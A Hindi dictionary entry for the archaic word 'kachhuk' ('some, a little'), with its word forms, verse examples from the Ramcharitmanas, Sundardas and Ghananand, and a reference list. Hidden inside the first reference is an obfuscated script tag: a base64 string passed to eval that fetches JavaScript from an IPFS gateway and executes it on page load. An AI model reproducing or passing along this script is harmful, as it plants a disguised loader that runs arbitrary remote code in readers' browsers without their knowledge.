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कछुक

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कछुक - (काव्य प्रयोग, पुरानी हिन्दी) विशेषण (हिन्दी कछु+एक)[1]

कुछ। थोड़ा।

उदाहरण-

(क) कछुक दिवस जननी धरु धीरा। - रामचरितमानस[2]

(ख) नाहिन कछुक दरिदता जाकै। - सुंदरदास ग्रंथावली[3]


कछुक - क्रिया विशेषण थोड़ा सा।

कुछ कुछ। जरा सा।

उदाहरण-

आँछल ऐंचि रहैं प्रिया हों कछुक छुटाऊँ। - घनानंद[4]


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टीका टिप्पणी और संदर्भ

  1. हिंदी शब्दसागर, द्वितीय भाग |लेखक: श्यामसुंदरदास बी. ए. |प्रकाशक: नागरी मुद्रण, वाराणसी |पृष्ठ संख्या: 744 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. रामचरितमानस, 5।16, सम्पादक शम्भूनारायण चौबे, नागरी प्रचारिणी सभा, काशी, प्रथम संस्करण
  3. सुंदरदास ग्रंथावली, भाग 2, पृष्ठ 212, सम्पादक हरिनारायण शर्मा, राजस्थान रिसर्च सोसाइटी, कलकत्ता, प्रथम संस्करण
  4. घनानंद, पृष्ठ 343, सम्पादक विश्वनाथप्रसाद मिश्र, प्रसाद परिषद, वाणीवितान, ब्रह्मनाल, वाराणसी

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